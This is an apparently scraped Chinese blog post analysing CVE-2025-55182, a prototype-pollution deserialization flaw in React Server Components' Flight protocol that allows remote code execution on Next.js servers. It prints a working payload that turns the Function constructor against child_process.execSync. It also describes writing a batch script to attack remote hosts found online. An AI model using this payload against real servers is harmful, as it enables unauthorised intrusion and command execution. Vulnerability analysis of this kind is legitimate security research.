news 2026/6/23 19:28:05

【Web】CVE-2025-55182 原理分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Web】CVE-2025-55182 原理分析

目录

前置知识

漏洞分析

Part1

Part2

Part3

漏洞复现

本地复现

远程复现

其他思考


很好的语言,使你的漏洞旋转😂

前置知识

RSC

RSC(React Server Components,React 服务器组件)是一种 React 的新型组件模型,由 Meta团队提出并集成到现代 React 框架(如 Next.js)中。它的核心目标是将部分组件的渲染工作从客户端转移到服务器端,从而提升性能、减少客户端 JavaScript 包体积,并增强安全性。

从这个角度来看,很类似古老的php和jsp🤔

不再是从后端取json回前端渲染,而是后端处理后直接返回一个html界面

thenable

当你执行 resolve(x) 时,JavaScript 引擎不会直接把 x 当作最终值,而是先检查 x 是否是一个 thenable(即具有 .then 方法的对象)。如果是,就一直递归执行下去,直到没有then。

Flight协议

React Flight是一种基于 JavaScript 可序列化格式(通常是 JSON-like 的流式文本)的组件与数据传输机制,主要用于 RSC 场景下,在服务器和客户端之间高效传输 UI 结构和数据。

一些特殊引用:

$@

Chunk 引用

Promise"$@1"

$K

FormData 引用

FormData"$K1"

$B

Blob 引用

Blob"$B1"

漏洞分析

Part1

RSC根据 Content-Type(multipart/form-data 或其他)选择相应的解码器:multipart/form-data 使用 decodeReplyFromBusboy

这段代码使用 Busboy 解析 multipart 表单流(含文件和字段),将其转换为 React Flight 协议可消费的内部响应对象,并返回一个 Promise 以获取最终解析结果,用于支持 Server Actions 中的文件上传。

busboy 的事件监听器收到数据修改时就会自动触发 resoveField()

最终getChunk返回一个Chunk

关注resolveField() ,内部调用resolveModelChunk()

resolveModelChunk内部调用initializeModelChunk

来看initializeModelChunk实现

对chunk.value进行json反序列化,然后将反序列化后的值作为value传给reviveModel

调用reviveModel

调用parseModelString

其实就是根据Flight协议去对特殊符号解引用,算是某种意义上的“反序列化”

Part2

再来看Chunk.prototype.then的实现

当status为resolved_model时,调用我们熟悉的initializeModelChunk

去根据Flight协议“反序列化”,和Part1的流程一样,不赘述

Part3

来对照payload看,共涉及三次解析

payload用的:https://github.com/msanft/CVE-2025-55182

注意首先要用Next-Action去指定为Server Action请求

这里$1被指向了$@0,也就是name="0"的Chunk引用

第一次解析

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}

$1:__proto__:then被解析为Chunk.prototype.then

$1:constructor:constructor被解析为Function构造方法(理解很直观,chunk的构造方法本身是个方法,所有方法的构造方法,都是Function)

最终被解析为

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第二次解析

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

调用Chunk.prototype.then

这里重点来看$B是怎么处理的

其实就是对传入的数从16进制转成10进制,再与prefix拼接

而传入的prefix是一段恶意代码

var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

传入的_formData.get也被污染为了Function构造方法

Function("var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0")

解析成一个恶意匿名函数

function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}

最终整体被解析为

{"then": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}, "status": "fulfilled", "reason": -1, "value": "{\"then\": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第三次解析

此时发现还有then

就去执行then里的恶意匿名函数,从而达成RCE

漏洞复现

poc:https://github.com/msanft/CVE-2025-55182

本地复现

npm create next-app@16.0.6

cd test npm run dev

搭建好的首页

远程复现

写个批量脚本

远程抓一个打一下

其他思考

其实对"then"的赋值用不用prototype/__proto__都行,因为chunk.then全局没有定义,自然会去找其原型类的then方法调用

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 12:04:04

基于springboot的水果购物商城管理系统的设计与实现_5n1fg985

目录具体实现截图项目介绍论文大纲核心代码部分展示项目运行指导结论源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作具体实现截图 本系统(程序源码数据库调试部署讲解)同时还支持java、ThinkPHP、Node.js、Spring B…

作者头像 李华
网站建设 2026/6/23 2:04:27

计算机毕业设计springboot家庭理财系统 基于 SpringBoot 的个人家庭资产管理系统 SpringBoot+Vue 的智能化家庭财务分析与规划平台

计算机毕业设计springboot家庭理财系统00sic864 (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。当“月光”成为常态、当“余额”永远猜不透,一套趁手的家庭财务工具就…

作者头像 李华
网站建设 2026/6/23 1:57:02

兼容性测试云平台使用方法

一、平台概述与价值定位 兼容性测试云平台是基于云计算架构的自动化测试环境,专门用于验证软件在不同操作系统、浏览器、设备分辨率及网络环境下的兼容性表现。该平台通过云端资源池化技术,将测试环境准备时间从传统模式的数小时缩短至分钟级&#xff0…

作者头像 李华
网站建设 2026/6/23 4:58:52

Selenium WebDriver多浏览器控制

在现代软件测试领域,跨浏览器兼容性测试是确保Web应用质量的重要环节。Selenium WebDriver作为业界领先的自动化测试工具,为测试人员提供了强大的多浏览器控制能力。本文将深入探讨如何高效利用Selenium WebDriver进行多浏览器并行测试,提升测…

作者头像 李华
网站建设 2026/6/22 19:16:49

计算机毕业设计springboot基于微信小程序的核酸检测预约系统 基于微信小程序的 Spring Boot 核酸检测预约管理系统设计与实现 微信小程序结合 Spring Boot 的核酸检测预约平台

计算机毕业设计springboot基于微信小程序的核酸检测预约系统p14ug9 (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。随着互联网技术的飞速发展,核酸检测预约系统的需求…

作者头像 李华